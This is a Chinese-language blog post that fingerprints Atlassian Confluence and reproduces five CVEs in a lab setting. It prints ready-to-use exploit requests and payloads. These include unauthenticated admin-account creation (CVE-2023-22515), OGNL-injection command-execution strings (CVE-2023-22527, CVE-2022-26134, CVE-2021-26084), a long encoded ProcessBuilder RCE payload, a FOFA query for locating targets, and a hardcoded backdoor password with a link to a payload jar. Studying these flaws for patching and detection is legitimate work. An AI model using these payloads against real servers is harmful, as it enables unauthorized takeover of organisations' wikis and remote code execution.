Atlassian Confluence协作平台特征及漏洞复现

Atlassian Confluence是企业广泛使用的wiki系统。

Web特征

常用默认端口8090,访问后默认界面就是登录认证界面:

image-20251119093403365

该产品存在标签页默认icon:

image-20251119092630968

漏洞复现

CVE-2023-22515(未授权添加管理员账户)

此漏洞是由属性覆盖导致,利用该漏洞攻击者可以无需验证即可重新执行Confluence安装流程并增加管理员账户,漏洞产生的URL:http://target/login.action?logout=true

fofa:app="Atlassian-Confluence"

影响范围:Confluence Server/Data Center 8.0.0~8.3.2, 8.4.0~8.4.2, 8.5.0~8.5.1

复现示例

访问漏洞存在路径:http://192.168.120.133:8090/login.action?logout=true

发送第一次请求,即访问该路径:http://192.168.120.133:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false,得到下面的回显:

image-20251119103607890

第二次发包:添加管理员账号priv

构造下面的数据包:

POST /setup/setupadministrator.action HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-Atlassian-Token: no-check
Content-Length: 122
Content-Type: application/x-www-form-urlencoded

username=vulhub&fullName=vulhub&email=admin%40vulhub.org&password=vulhub&confirm=vulhub&setup-next-button=Next
image-20251119103721506

执行成功后会显示创建完成的相关回显。

再发送以下数据包以完成安装步骤:

POST /setup/finishsetup.action HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
X-Atlassian-Token: no-check


成功利用新账户登录:

img

CVE-2023-22527(OGNL表达式注入导致RCE)

在Confluence 8.0到8.5.3版本之间,存在一处由于任意velocity模板被调用导致的OGNL表达式注入漏洞,未授权攻击者利用该漏洞可以直接攻击Confluence服务器并执行任意命令。

影响范围:8.0.0~8.4.4, 8.5.0~8.5.3

复现示例

此漏洞复现非常简单,确定在影响版本后,访问:/template/aui/text-inline.vm,到这个页面:

image-20251119151812965

然后使用Hackbar发送一个空post包并转发到bp,然后在bp中放入下面的poc:

image-20251119152409630
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

PS:最后的exec中的值即是执行的命令,这里是id。

执行结果在返回包的X-Cmd-Response中显示:

image-20251119152027719

CVE-2022-26134(OGNL表达式注入导致RCE)

将攻击者提供的URI转换为namespace,然后该namespace将被转换为OGNL表达式进行计算(攻击者提供的url被间接转化成了OGNL表达式进行计算)

影响范围:Confluence Server/Data Center 1.3.0~7.4.16, 7.13.0~7.13.6, 7.14.0~7.14.2, 7.15.0~7.15.1, 7.16.0~7.16.3, 7.17.0~7.17.3, 7.18.0

复现示例

找到目标后随便在bp中找一个get请求包,将其请求路径进行修改,改为以下内容,这里是执行的id命令:

/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/

PS:需要将其进行URL编码不然会出问题。

执行结果在返回包的X-Cmd-Response中:

image-20251119165930116

CVE-2022-26138(硬编码账户)

此漏洞是一个硬编码导致的。当Confluence Server或Data Center上的Questions for Confluence app启用时,它会创建一个名为disabledsystemuser的Confluence用户帐户。此帐户旨在帮助将数据从应用程序迁移到 Confluence Cloud的管理员账号中。该帐户通过使用硬编码密码创建并添加到confluence-users组中,在默认情况下允许查看和编辑 Confluence 中的所有非受限页面。未经身份验证攻击者可以利用所知的硬编码密码登录Confluence并访问该组有权限访问的所有页面。

此漏洞有两种利用方式:

1、需要一个具备 “Manage Add-ons” 权限的账户,但通常是管理员,但由于一些错误习惯导致某些非管理员账户拥有该权限,将Questions for Confluence应用进行上传,然后得到一个disabledsystemuser账户,用于对网站稳定的控制。

2、本身就拥有这个Questions for Confluence应用,那么本身就会存在一个disabledsystemuser账户。

影响范围:Confluence Server/Data Center 2.7.34, 2.7.35, 3.0.2

复现示例

此漏洞需要准备一个jar包,下载地址为:https://github.com/shinianyunyan/payloadOrExp/blob/master/confluence-questions-3.0.2.jar

登入账户后在右上方进入管理应用界面,然后选择上传应用,将前面准备的jar包上传:

image-20251119172220869 image-20251119172321281 image-20251119172748708

如此便生成了一个账户:

用户名:disabledsystemuser
密码:disabled1system1user6708

成功登入:

image-20251119172955003

CVE-2021-26084(前台GNL表达式注入导致RCE)

远程攻击者在经过身份验证或在特定环境下未经身份验证的情况下,可构造OGNL表达式进行注入,实现在 Confluence Server或Data Center上执行任意代码。

影响范围:Confluence Server/Data Center 6.13.0~6.13.22, 6.14.0~7.4.10, 7.5.0~7.11.5, 7.12.0~7.12.4

复现示例

此漏洞在三个接口均可触发这个OGNL表达式注入漏洞,使用的payload均一样,下面列出的是SSTI模板注入和任意命令执行的payload:

payload1:执行数字运算

queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027

payload2:RCE

queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027

接口一:/pages/doenterpagevariables.action

PS:此接口不需要身份验证。

通过构造下面的数据包来触发SSTI模板注入,这里通过执行233*233回显运算结果:

POST /pages/doenterpagevariables.action HTTP/1.1
Host: target_ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027
image-20251120182915623

或者是任意命令执行的payload:

image-20251120183035511

接口二:/pages/createpage-entervariables.action

PS:此接口不需要身份验证。

构造数据包,这里使用payload1:

POST /pages/createpage-entervariables.action HTTP/1.1
Host: target_ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027
image-20251120183539487

也可以使用payload2:

image-20251120183626370
posted @ 2025-12-02 12:56  shinianyunyan  阅读(13)  评论(0)    收藏  举报